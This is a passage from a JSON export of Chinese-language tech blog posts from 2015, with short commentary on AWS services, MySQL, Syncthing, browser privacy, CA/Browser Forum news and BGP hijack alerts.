    "body": "去年 (2014) 十一月時 <a href=\"https://aws.amazon.com/\">AWS</a> 推出了 DynamoDB Streams，像是 RDBMS 裡 trigger 的東西，不過當時還沒這麼方便，而且也是 preview 階段：「<a href=\"https://aws.amazon.com/blogs/aws/dynamodb-streams-preview/\">Sneak Preview – DynamoDB Streams</a>」。\r\n\r\n<blockquote>Once you enable it for a DynamoDB table, all changes (puts, updates, and deletes) made to the table are tracked on a rolling 24-hour basis.</blockquote>\r\n\r\n而這個功能現在總算是開放讓一般人使用了，這次可以配合 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 一起使用，官方用了「DynamoDB Streams + Lambda = Database Triggers」的說明來解釋：「<a href=\"https://aws.amazon.com/blogs/aws/dynamodb-update-triggers-streams-lambda-cross-region-replication-app/\">DynamoDB Update – Triggers (Streams + Lambda) + Cross-Region Replication App</a>」。\r\n\r\n另外這次也推出了 Cross-Region DynamoDB Replication，其實就是透過組合拳串起來：\r\n\r\n<blockquote>This app runs on AWS Elastic Beanstalk and makes use of the EC2 Container Service, all launched via a AWS CloudFormation template.</blockquote>",
    "title": "DynamoDB Streams..."
  },
  {
    "id": "5871",
    "body": "在「<a href=\"http://www.gwern.net/Black-market%20archives\">Black-market archives</a>」這篇給出了一份很寶貴的資料，是來自於 <a href=\"https://www.torproject.org/docs/hidden-services.html.en\">Tor hidden service</a> 上的 Dark Net Markets (DNM)。\r\n\r\n這份資料涵蓋了 2013 到 2015 年的各種紀錄：\r\n\r\n<blockquote>From 2013-2015, I scraped/mirrored on a weekly or daily basis all existing English-language DNMs as part of my research into their usage, lifetimes/characteristics, &amp; legal riskiness; these scrapes covered vendor pages, feedback, images, etc.</blockquote>\r\n\r\n大約壓縮後 50GB 的資料：\r\n\r\n<blockquote>This uniquely comprehensive collection is now publicly released as a 50GB (~1.6TB) collection covering 89 DNMs &amp; 37+ related forums, representing &lt;4,438 mirrors, and is available for any research.</blockquote>\r\n\r\n<a href=\"https://www.torproject.org/\">Tor</a> 的 hidden service 應該只會愈來愈流行，初期的這些資料會讓後人有很多題材可以分析...",
    "title": "網路黑市的歷史資料"
  },
  {
    "id": "5872",
    "body": "美國的 IPv4 位置配完了：「<a href=\"http://www.osnews.com/story/28701/US_exhausts_IPv4_addresses\">US exhausts IPv4 addresses</a>」，其他的地區也差不多了。\r\n\r\n然後愈來愈多網站推 IPv6 了，尤其是 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 以吃到飽為號召 (固定金額不限流量)，所以有很多服務都掛在上面。另外流量大的應該是 <a href=\"https://www.youtube.com/\">YouTube</a> 吧。\r\n\r\n不過 routing 好像還有得調，尤其是亞洲地區...",
    "title": "美國的 IPv4 位置配完了"
  },
  {
    "id": "5873",
    "body": "在「<a href=\"http://mysqlserverteam.com/improved-server-defaults-in-5-7/\">Improved Server Defaults in 5.7</a>」這篇文章裡面講了 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 預設值有那些是朝好的方向演進，雖然我覺得有些有風險在...\r\n\r\n其中這個還蠻特別的：\r\n\r\n<blockquote><a href=\"https://dev.mysql.com/doc/refman/5.7/en/innodb-parameters.html#sysvar_innodb_strict_mode\">innodb_strict_mode</a> — This brings InnoDB in line with our overall goal of <a href=\"http://www.tocker.ca/2014/01/14/making-strict-sql_mode-the-default.html\">making MySQL behavior more strict by default</a>, thus helping you ensure the integrity, validity, and durability of your data. This also falls in line with a parallel goal of making MySQL more SQL standard compliant by default.</blockquote>\r\n\r\n可以參考「<a href=\"http://www.tocker.ca/2014/01/14/making-strict-sql_mode-the-default.html\">Making strict sql_mode the default</a>」這篇文章的說明，當你把 <code>-1</code> 塞到 <code>UNSIGNED INT</code> 欄位時會直接發生錯誤，而非 fallback 到 <code>0</code>。\r\n\r\n然後是 InnoDB 熱機機制的改善，以及檔案格式預設值的改變。",
    "title": "MySQL 5.7 預設值的改善"
  },
  {
    "id": "5874",
    "body": "<a href=\"https://github.com/p8952/bocker\">Bocker</a> 這個專案的標語是「Docker implemented in 100 lines of bash」。\r\n\r\n有研究過 <a href=\"https://www.docker.com/\">Docker</a> 實作的人會了解到，最基本版的 Docker 其實最難的是那層可疊的 Filesystem，其他的主要是拿現成的東西出來包裝。\r\n\r\n而 Bocker 就是把 <a href=\"https://btrfs.wiki.kernel.org/\">btrfs</a> 拿出來用，解決 Layered Filesystem 的問題。而週邊目前有些東西要自己設定而已，其實完成度不低？\r\n\r\n相當打臉 XDDD",
    "title": "Bocker：用 bash 與 btrfs 疊出來的 Docker"
  },
  {
    "id": "5875",
    "body": "剛剛看到 <a href=\"https://aws.amazon.com/cloudwatch/\">Amazon CloudWatch</a> 的新功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-cloudwatch-action-reboot-ec2-instance/\">New Amazon CloudWatch Action – Reboot EC2 Instance</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/StcrVxn.webp\" /><img src=\"https://i.gslin.com/imgur/StcrVxn.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oSKDWtP.webp\" /><img src=\"https://i.gslin.com/imgur/oSKDWtP.jpg\" alt=\"\" /></picture>\r\n\r\n簡而言之就是讓 CloudWatch 偵測到問題時重開 instance：「有問題？重開治百病！」XDDD",
    "title": "Amazon CloudWatch 推出「重開治百病」服務..."
  },
  {
    "id": "5879",
    "body": "在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上之前是透過 <a href=\"https://chrome.google.com/webstore/detail/webrtc-block/nphkkbaidamjmhfanlpblblcadhfbkdm\">WebRTC Block</a> 之類的軟體阻擋網站透過 <a href=\"http://www.webrtc.org/\">WebRTC</a> 取得 Local IP address 的功能，現在則內建在 <a href=\"https://github.com/gorhill/uBlock\">uBlock₀</a> 內了。\r\n\r\n<img src=\"https://i.gslin.com/imgur/3gWDzsL.jpg\" alt=\"\" />\r\n\r\n在「<a href=\"http://www.ghacks.net/2015/07/02/you-can-block-webrtc-from-leaking-your-ip-now-in-ublock-origin/\">You can block WebRTC from leaking your IP now in uBlock Origin</a>」這邊看起來是這個月月初 (2015 年 7 月) 開發出來的功能。\r\n\r\n用 <a href=\"https://www.perfect-privacy.com/webrtc-leaktest/\">WebRTC Leaktest</a> 交叉測試可以發現 Public IP address 的部份，目前測過的套件都擋不下來，但 Private IP address 的部份都有順利擋下來。\r\n\r\n又可以少裝一個套件了...",
    "title": "uBlock₀ 提供阻擋 WebRTC 取得 Local IP address 的功能"
  },
  {
    "id": "5880",
    "body": "最早的時候是用 <a href=\"https://www.dropbox.com/\">Dropbox</a> 同步檔案，但 Dropbox 的空間有限，加上有不少隱私疑慮，後來只拿他放一些簡單的東西... (像是「<a href=\"http://zh-hant.fogofworld.com/\">世界迷霧</a>」的匯入功能)\r\n\r\n然後前陣子則是用 <a href=\"https://www.getsync.com/\">BitTorrent Sync</a>，不過 Sync 2.0 版強制要 trial：「<a href=\"https://forum.bittorrent.com/topic/34322-disable-pro-trial-in-sync-20/\">Disable Pro Trial In Sync 2.0?</a>」，後來就決定找替代品了。\r\n\r\n這次找的替代品是用 <a href=\"https://golang.org/\">Go</a> 寫的 Open Source 的方案：<a href=\"https://syncthing.net/\">Syncthing</a>，常用的幾個平台都有支援，包括 Windows、Mac 以及我自己平常用的桌機環境 <a href=\"https://www.linux.com/\">Linux</a>。\r\n\r\n先講概念性的部份，Syncthing 的架構與其他同步軟體不太一樣，最大的差異在於兩邊都需要輸入 Device ID 才能建立連線。另外目前 GUI 的部份只有支援 WebUI，像這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p62jo8D.webp\" /><img src=\"https://i.gslin.com/imgur/p62jo8D.jpg\" alt=\"\" /></picture>\r\n\r\n在安全性的部份，Syncthing 則是使用 3072 bits 的 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 與 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.2 建立連線，Device ID 則是用 Public Key 產生出 <a href=\"https://en.wikipedia.org/wiki/SHA-2\">SHA-256</a> 的值再用 Base32 表示 (所以看起來很長)。(參考「<a href=\"http://docs.syncthing.net/dev/device-ids.html\">Understanding Device IDs</a>」以及「<a href=\"https://github.com/syncthing/specs/blob/master/BEPv1.md\">Block Exchange Protocol v1</a>」)\r\n\r\n也因為使用 TLS 1.2，所以傳輸時必須有一邊是可以接受連線的，而 Syncthing 目前有支援 UPnP，所以大多數家用的 NAT 環境應該是沒問題。\r\n\r\n安裝的部份，<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 可以透過 APT 安裝並且跟著更新，Windows 目前看起來是把 zip 抓下來丟著比較麻煩一點，不過還可以接受。\r\n\r\n另外常見到的功能是希望開機時自動啟動。可以參考官方寫的「<a href=\"http://docs.syncthing.net/users/autostart.html\">Starting Syncthing Automatically</a>」這篇，令外 Windows 上可以參考「<a href=\"https://github.com/iss0/SyncthingTray\">SyncthingTray</a>」這個工具。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tWY0BOb.webp\" /><img src=\"https://i.gslin.com/imgur/tWY0BOb.jpg\" alt=\"\" /></picture>\r\n\r\n大約用了一個禮拜，目前用起來還不錯...",
    "title": "用 Syncthing 同步檔案 (取代 Dropbox 與 BitTorrent Sync)"
  },
  {
    "id": "5882",
    "body": "在 <a href=\"https://www.plurk.com/\">Plurk</a> 上的 embed thumb 功能 (我不知道怎麼稱呼比較好) 讓我沒辦法用 Ctrl 加上滑鼠左鍵一路把圖片點開，所以就想寫個 Greasemonkey script 搞定他...\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"zh\" dir=\"ltr\">所以重點是 jQuery(&#39;body&#39;).off(&#39;click&#39;, &#39;.pictureservices, .videoservices, .ogvideo, .iframeembed, .plink&#39;); 關掉...</p>&mdash; Gea-Suan Lin (@gslin) <a href=\"https://twitter.com/gslin/status/625245886629548032\">July 26, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n最一開始的想法是把事件幹掉 (也就是 <code>.pictureservices, .videoservices, .ogvideo, .iframeembed, .plink</code> 這串)，所以第一版的時候是直接用 <code>unsafeWindow.jQuery</code> 把事件 <code>off()</code> 掉，但後來想一想這樣有幾個問題：\r\n\r\n<ul>\r\n\t<li>網站改版時動到這邊的 class name 會失效，即使是只有增加...</li>\r\n\t<li>安全性問題，<code>unsafeWindow.jQuery</code> 不保證是原版的 <a href=\"https://jquery.com/\">jQuery</a>，在 Greasemonkey 有不少權限，雖然後來有被 <code>@grant</code> 強化過，不過能避免還是想避免。</li>\r\n</ul>\r\n\r\n所以就改成現在這個版本，直接在 body 上攔截，擋下對這五個 class 的 click event：「<a href=\"https://openuserjs.org/scripts/gslin/Disable_Plurk_multimedia_thumb_functuion\">Disable Plurk multimedia thumb functuion</a>」。\r\n\r\n也許改寫 thumb function 本身會更好，不過先這樣吧 XD",
    "title": "關閉 Plurk 的 embed thumb 功能"
  },
  {
    "id": "5883",
    "body": "今天在 <a href=\"https://www.facebook.com/\">Facebook</a> 上才看到 <a href=\"https://about.me/chihchun\">chihchun</a> 貼的資料，在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 14.04 之後都有 <a href=\"https://www.google.com/get/noto/help/cjk/\">Noto Sans CJK</a> 可以用：\r\n\r\n<div id=\"fb-root\"></div><script>(function(d, s, id) {  var js, fjs = d.getElementsByTagName(s)[0];  if (d.getElementById(id)) return;  js = d.createElement(s); js.id = id;  js.src = \"https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.3\";  fjs.parentNode.insertBefore(js, fjs);}(document, 'script', 'facebook-jssdk'));</script><div class=\"fb-post\" data-href=\"https://www.facebook.com/chihchun/posts/10153545957682915\" data-width=\"500\"><div class=\"fb-xfbml-parse-ignore\"><blockquote cite=\"https://www.facebook.com/chihchun/posts/10153545957682915\"><p>sudo apt-get install fonts-noto-cjk # </p>Posted by <a href=\"https://www.facebook.com/chihchun\">蔡志展</a> on&nbsp;<a href=\"https://www.facebook.com/chihchun/posts/10153545957682915\">Sunday, July 26, 2015</a></blockquote></div></div>\r\n\r\n這邊提到的是 <a href=\"http://packages.ubuntu.com/fonts-noto-cjk\">fonts-noto-cjk</a>，不過我實際測試發現裝 <a href=\"http://packages.ubuntu.com/fonts-noto\">fonts-noto</a> 會比較好：前者預設值很細 (Light)，後者包括了各種粗細 (我自己是用 DemiLight)。\r\n\r\n這樣又少了一個要自己管理的東西了...",
    "title": "Ubuntu 內建的 Noto Sans CJK..."
  },
  {
    "id": "5884",
    "body": "面對面的會議記錄，在第一天的會議記錄「<a href=\"https://cabforum.org/2015/06/24/2015-06-24-face-to-face-meeting-35-minutes/\">2015-06-24 Face-to-Face Meeting 35 Minutes</a>」的一開頭就看到 <a href=\"http://www.cnnic.cn/\">CNNIC</a> 申請成為 CA/Browser Forum 的成員。\r\n\r\n目前有兩個疑慮，第一個是執照的問題：\r\n\r\n<blockquote>1. They don’t appear to be licensed in China (BRs requires that a CA be licensed in the country they do business if a licensing scheme is in place) and</blockquote>\r\n\r\n第二個則是同時具有 CA 以及 ccTLD 註冊者的身份：\r\n\r\n<blockquote>2. they appear to be a registrar for a TLD as well as a CA.</blockquote>\r\n\r\n再來是第二天開頭就看到在討論 EV Wildcard 的問題 (目前是不被允許的)，以及 Domain Validation 的問題。結尾則可以看到中華電信將會主辦 2017 的部份？不是很確定...\r\n\r\n<blockquote><strong>Host 2017</strong>\r\n\r\nChunghwa Telecom February or October (Taiwan)</blockquote>",
    "title": "CNNIC 申請成為 CA/Browser Forum 成員"
  },
  {
    "id": "5885",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈正式開放所有客戶使用 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a>：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-amazon-aurora/\">Now Available – Amazon Aurora</a>」。不過也只是原來支援的三個地區而已：\r\n\r\n<blockquote>Today I am happy to announce that Amazon Aurora is now available for use by all AWS customers, in three AWS regions.</blockquote>\r\n\r\n<blockquote>We are launching in the US East (Northern Virginia), US West (Oregon), and Europe (Ireland) regions, and will expand to others over time.</blockquote>\r\n\r\n比較特別的是效能上的宣稱：\r\n\r\n<blockquote>When we first announced Amazon Aurora we expected to deliver a service that offered at least 4 times the price-performance of existing solutions. Now that we are ready to ship, I am happy to report that we’ve exceeded this goal, and that Amazon Aurora can deliver 5x the price-performance of a traditional relational database when run on the same class of hardware.\r\n\r\nIn general, this does not mean that individual queries will run 5x as fast as before (although Amazon Aurora’s fast, SSD-based storage certainly speeds things up). Instead, it means that Amazon Aurora is able to handle far more concurrent queries (both read and write) than other products. Amazon Aurora’s unique, highly parallelized access to storage reduces contention for stored data and allows it to process queries in a highly efficient fashion.</blockquote>\r\n\r\n也許之後有機會測試的專案可以測看看...",
    "title": "Amazon Aurora 宣佈正式開放"
  },
  {
    "id": "5886",
    "body": "看到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 可以跨區取最低價的 <a href=\"https://aws.amazon.com/ec2/purchasing-options/spot-instances/\">Spot Instance</a> 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/07/spot-fleet-launches-spot-instances-in-the-lowest-priced-availability-zone/\">Spot fleet launches Spot instances in the lowest priced Availability Zone</a>」。\r\n\r\n先前必須指定 AZ (Availability Zone)，現在則可以讓系統更動態選擇了...\r\n\r\n以後有沒有機會讓系統透過 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 來決定定價策略？",
    "title": "跨區決定最低價的 Spot Instance"
  },
  {
    "id": "5887",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 這次丟出了 2015 年上半年的數據，標題雖然是寫 2015Q2，但文章裡有半年的統計資料：「<a href=\"https://www.backblaze.com/blog/hard-drive-reliability-stats-for-q2-2015/\">Hard Drive Reliability Stats for Q2 2015</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/RplDC7V.jpg\" alt=\"\" />\r\n\r\n雖然都知道某公司的產品故障率偏高，但這樣是有仇嗎 XDDD\r\n\r\n這是統計資料：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bkcABtR.webp\" /><img src=\"https://i.gslin.com/imgur/bkcABtR.jpg\" alt=\"\" /></picture>\r\n\r\n另外是 4TB 的歷史紀錄，右邊兩家的數字有點少啊，不過 45 顆硬碟壞一顆不就 2.x% 了嗎，這數字到底是怎麼出來的啊：\r\n\r\n<img src=\"https://i.gslin.com/imgur/UrPWH4B.jpg\" alt=\"\" />",
    "title": "Backblaze 2015 年上半年的硬碟穩定度報告出爐了... (又黑了某公司一把)"
  },
  {
    "id": "5888",
    "body": "在「<a href=\"http://www.neowin.net/news/microsofts-windows-10-launch-is-going-to-strain-cdns-already-passed-10-tbs\">Microsoft's Windows 10 launch is going to strain CDNs, already passed 10 Tbps</a>」這邊看到 <a href=\"https://www.microsoft.com/\">Microsoft</a> 推出 Windows 10 已經吃掉 10Tbps 的 capacity 了。\r\n\r\n預定還會吃到 40Tbps，就當作八卦消息看一看好了：\r\n\r\n<blockquote>Streaming Media is citing internal sources and is saying that Microsoft has reserved up to 40 Tbps with all of the key CDNs which is a massive amount of bandwidth. As of July 28th at 1PM ET, Microsoft is said to already be consuming over 10 Tbps and seeing that all regions are not yet online for deployment, it's only going to go higher.</blockquote>\r\n\r\n是個熱鬧的祭典 XD",
    "title": "Microsoft Windows 10 對 CDN 的影響"
  },
  {
    "id": "5889",
    "body": "在「<a href=\"http://www.slideshare.net/AmazonWebServices/amazon-redshift-optimizing-performance-20150721\">Amazon redshift optimizing performance 20150721</a>」這篇給了不少效能調校的細節，這邊的效能調校都是針對多機器時的設計規劃 (multi nodes)。\r\n\r\n本文圖多並且穿插大量文字，但應該是可以輕鬆讀。我從中選了重點投影片出來，在讀完這篇導讀後建議再點進去從頭讀一次，會對 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 有更多了解。\r\n\r\n第一個主題是資料的放置方式，有這幾種：\r\n\r\n<img src=\"https://i.gslin.com/imgur/F7241TF.jpg\" alt=\"\" />\r\n\r\n中間還有好幾張投影片是說明測試資料的類型，測試出來的結果可以看到效能還是差很多：\r\n\r\n<img src=\"https://i.gslin.com/imgur/4PMM3G2.jpg\" alt=\"\" />\r\n\r\n再來是講資料不平均當然會造成沒辦法充分運用機器效能：\r\n\r\n<img src=\"https://i.gslin.com/imgur/gbM1872.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/6duOU2Q.jpg\" alt=\"\" />\r\n\r\n然後給了一些建議：\r\n\r\n<img src=\"https://i.gslin.com/imgur/AoK6jnA.jpg\" alt=\"\" />\r\n\r\n接下來是講 sort keys 有三種，其中 interleaved 很特別，有興趣的可以研究看看，不然 compound keys 應該是已經很好用了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/wuJ6RwC.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/WzXHY1y.jpg\" alt=\"\" />\r\n\r\n接下來是每個欄位都可以設定壓縮格式，可以看到壓縮的部份如果設計的好，效能也會上升不少：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Hl9xfbS.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/HQBvyFg.jpg\" alt=\"\" />\r\n\r\n然後原始資料可以儘量拆成多個檔案再匯入 Amazon Redshift，這樣可以加速進行：\r\n\r\n<img src=\"https://i.gslin.com/imgur/KgsmfrP.jpg\" alt=\"\" />\r\n\r\n最後則是 VACUUM 的操作介紹，如果可以允許完整 deep copy 的話會更好，因為這算是最乾淨的作法：\r\n\r\n<img src=\"https://i.gslin.com/imgur/8DmwiM5.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/JMjW7NO.jpg\" alt=\"\" />\r\n\r\n是份很有用的投影片 :p",
    "title": "Amazon Redshift 的效能調校"
  },
  {
    "id": "5890",
    "body": "剛剛在 <a href=\"https://twitter.com/\">Twitter</a> 上先看到了：「<a href=\"https://aws.amazon.com/blogs/aws/coming-soon-aws-device-farm-support-for-ios-apps/\">Coming Soon – AWS Device Farm Support for iOS Apps</a>」。\r\n\r\n<blockquote>We plan to launch support for iOS on August 4, 2015 with support for the following test automation frameworks:</blockquote>\r\n\r\n應該是有跟蘋果合作吧，感覺會是成千上萬隻的量在跑... XD",
    "title": "AWS Device Farm 將支援 iOS 裝置"
  },
  {
    "id": "5891",
    "body": "在 <a href=\"https://aws.amazon.com/\">AWS</a> 放出的「<a href=\"http://www.slideshare.net/AmazonWebServices/amazon-redshift-migration-and-load-data-20150722\">Amazon redshift migration and load data 20150722</a>」這份投影片則是解釋了 data ingestion 時的建議行為。\r\n\r\n<img src=\"https://i.gslin.com/imgur/9tuyrQ1.jpg\" alt=\"\" />\r\n\r\n其實這張就道盡目前 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 架構上的最佳作法，也就是每次都 TRUNCATE 掉重新 import。後面的所有方法其實都是 workaround，效能不會太好... XD\r\n\r\n另外後面是介紹倒資料進 Amazon Redshift 的方式，官方是還蠻推 <a href=\"https://aws.amazon.com/datapipeline/\">AWS Data Pipeline</a>，但你用過就會知道有多麻煩與痛苦...",
    "title": "Amazon Redshift 的 Data Ingestion"
  },
  {
    "id": "5892",
    "body": "<a href=\"https://github.com/\">GitHub</a> 對 <a href=\"https://github.com/git/git/blob/master/Documentation/RelNotes/2.5.0.txt\">Git 2.5</a> 寫的介紹：「<a href=\"https://github.com/blog/2042-git-2-5-including-multiple-worktrees-and-triangular-workflows\">Git 2.5, including multiple worktrees and triangular workflows</a>」。\r\n\r\n<blockquote>Please note that the worktree feature is experimental. It may have some bugs, and its interface may change based on user feedback. It's <strong>not recommended</strong> to use git worktree with a repository that contains submodules.</blockquote>\r\n\r\n另外效能上也有改善：\r\n\r\n<blockquote>Git 2.5 includes performance improvements aimed at large working trees and working trees stored on networked filesystems (e.g., NFS):</blockquote>",
    "title": "Git 2.5 的 worktree"
  },
  {
    "id": "5894",
    "body": "在「<a href=\"https://blog.wikimedia.org/2015/07/30/edit-wikipedia-co-op-mentorship/\">Get help editing Wikipedia with the new “Co-op” mentorship program</a>」這邊看到英文版維基百科引入了導師的制度。\r\n\r\n以往比較資深的編輯都是直接修正，或是到新手的 Talk 頁上提出建議，現在則是引入了導師的制度，從而得到了不錯的成果。\r\n\r\n首先是編輯次數的成長：\r\n\r\n<blockquote>Mentored editors were more productive than compared to editors who were not mentored. During the pilot, mentored editors made 7 times as many edits (35 vs. 4.5 in median edits). They also edited more articles during the pilot (10 vs. 3 on average).</blockquote>\r\n\r\n以及參與度的提昇：\r\n\r\n<blockquote>68% of mentored editors remained active in April 2015, the month after the end of pilot, whereas only 22% of non-mentored editors remained active.</blockquote>\r\n\r\n更快速的參與：\r\n\r\n<blockquote>Editors using the Co-op waited far less time for mentorship to begin (12 hours) compared to the only other mentorship space on en.wiki, Adopt-a-user (4 days).</blockquote>\r\n\r\n以及長遠的品質提昇：\r\n\r\n<blockquote>Despite being geared toward newer editors, the Co-op was utilized by more experienced editors who reported having positive and constructive experiences through mentorship.</blockquote>\r\n\r\n不知道中文版什麼時候可以導入 :p",
    "title": "Wikipedia 引入 Mentor 制度"
  },
  {
    "id": "5895",
    "body": "<a href=\"https://www.openssl.org/\">OpenSSL</a> 宣佈了要更換 License 的計畫：「<a href=\"https://www.openssl.org/blog/blog/2015/08/01/cla/\">License Agreements and Changes Are Coming</a>」。\r\n\r\n<blockquote>Our plan is to update the license to the <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License version 2.0</a>.</blockquote>\r\n\r\n不過這次的是以 CLA 的形式來做，不知道有多少人會簽...",
    "title": "OpenSSL 打算要換成 Apache License"
  },
  {
    "id": "5896",
    "body": "兩個禮拜前 <a href=\"https://github.com/\">GitHub</a> 公佈的消息，透過 <a href=\"https://www.openstreetmap.org/\">OpenStreetMap</a> 的圖資，來強化 GitHub 上 <a href=\"http://geojson.org/\">GeoJSON</a> 的呈現：「<a href=\"https://github.com/blog/2041-improving-map-data-on-github\">Improving map data on GitHub</a>」。\r\n\r\n官方給了個 GIF 動畫展示說明：\r\n\r\n<img src=\"https://i.gslin.com/imgur/fjf5BNX.gif\" alt=\"\" />",
    "title": "GitHub 上的 GeoJSON 資料將會使用 OpenStreetMap 的資料呈現"
  },
  {
    "id": "5897",
    "body": "也是兩個禮拜前的新聞，在「<a href=\"https://threatpost.com/bgp-security-alerts-coming-to-twitter/113843\">OpenDNS BGP Stream Twitter Feed</a>」這邊提到了 <a href=\"https://www.bgpmon.net/\">BGPmon</a> 將會推出 BGP Stream 服務，將偵測到的 BGP 異常變化發到 <a href=\"https://twitter.com/\">Twitter</a> 上。\r\n\r\n其中 BGPmon 在幾個月前被 <a href=\"https://www.opendns.com/\">OpenDNS</a> 併購 (2015 年 3 月)，而 <a href=\"http://www.cisco.com/\">Cisco</a> 則在上上個月底併購了 OpenDNS (2015 年 6 月)。而在過幾天的 <a href=\"https://www.defcon.org/\">DefCon</a> 23 上將會透露更多細節。\r\n\r\n前陣子 Hacking Team 洩漏的資料中就用到了 BGP hijack 來取回控制權：\r\n\r\n<blockquote>That nugget that emerged from the 400 Gb of stolen Hacking Team data posted online where Italian law enforcement used Hacking Team’s Remote Control System monitoring software to regain control over a number IP addresses it was watching that were already infected with Hacking Team software by hijacking BGP routes in order to redirect traffic and regain control over a target’s machines.</blockquote>\r\n\r\n除了示警外，另外一方面 BGP 上的簽名技術也愈來愈重要了，只是不知道最終會怎麼做...",
    "title": "BGPmon 推出 BGP Stream 警告異常的 BGP 流量劫持"
  },
  {
    "id": "5898",
    "body": "有在追蹤 <a href=\"https://www.linode.com/\">Linode</a> 的 <a href=\"https://twitter.com/\">Twitter</a> <a href=\"https://twitter.com/linode\">@linode</a> 就會知道前陣子 Linode 一直在測試德國機房，而最近正式公開啟用了：「<a href=\"https://blog.linode.com/2015/08/03/introducing-linodes-in-frankfurt/\">Introducing Linodes in Frankfurt!</a>」。\r\n\r\n拿 <a href=\"http://www.hinet.net/\">HiNet</a> 到 <code>speedtest.frankfurt.linode.com</code> 測試有兩種不同的結果。\r\n\r\n一種是 IPv4 的，會走 <a href=\"https://www.sprint.net/\">Sprint</a> 交換，在美國轉入 <a href=\"http://www.teliasonera.com/\">TeliaSonera</a> 後，一路到德國 Linode 機房。扣掉本地端的 latency 大約是 320ms。\r\n\r\n另外一種是 IPv6，HiNet 會跟 <a href=\"https://he.net/\">Hurricane Electric</a> 交換後一路跑 Hurricane Electric 骨幹，在德國進入 Linode 機房，一樣扣掉本地端的 latency 大約是 285ms，意外的快了不少？\r\n\r\n然後是 Linode 的廣告詞：\r\n\r\n<blockquote>Frankfurt is an important financial and Internet hub for Europe, with a third of Europe’s Internet traffic going through it. Frankfurt is home to DE-CIX, the largest Internet exchange in the world in terms of traffic. DE-CIX will no doubt provide abundant peering access opportunities for us, over time.</blockquote>\r\n\r\n不知道有沒有機會再加開其他亞洲的機房... (東京滿了...)",
    "title": "Linode 德國機房啟用"
  },
  {
    "id": "5899",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2015/08/03/innodb-checkpoint-strikes-back/\">InnoDB checkpoint strikes back</a>」這篇提到了 InnoDB 的 checkpoint 問題一直困擾著 MySQL 使用者，但其中讓我注意到的是，文中提到了 <a href=\"http://rocksdb.org/\">RocksDB</a> 沒有這個困擾：\r\n\r\n<blockquote>Interestingly enough, RocksDB, because it has a different architecture (I may write on it in future, but for now I will point to <a href=\"https://github.com/facebook/rocksdb/wiki\">RocksDB Wiki</a>), does not have this problem with checkpoints (it however has its own background activity, like level compactions and tombstone maintenance, but it is a different topic).</blockquote>\r\n\r\n我記得 Facebook 的人有用 RocksDB 掛到 MySQL 上：「<a href=\"https://www.percona.com/live/mysql-conference-2015/sessions/rocksdb-storage-engine-mysql\">RocksDB Storage Engine for MySQL</a>」，會整合到 <a href=\"http://webscalesql.org/\">WebScaleSQL</a> 裡嗎？還是單純拋出來看看？:o",
    "title": "InnoDB 的 checkpoint 問題，以及 RocksDB..."
  },
  {
    "id": "5901",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/cloudwatch-logs-subscription-consumer-elasticsearch-kibana-dashboards/\">CloudWatch Logs Subscription Consumer + Elasticsearch + Kibana Dashboards</a>」這篇文章裡，<a href=\"https://aws.amazon.com/\">AWS</a> 官方給了很棒的 screenshot，用一堆服務包起來後可以得到這樣的效果，提供給有興趣的人：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OlB6jWd.webp\" /><img src=\"https://i.gslin.com/imgur/OlB6jWd.jpg\" alt=\"\" /></picture>",
    "title": "把 AWS 的紀錄串起來倒進 Elasticsearch，用 Kibana 呈現"
  },
  {
    "id": "5902",
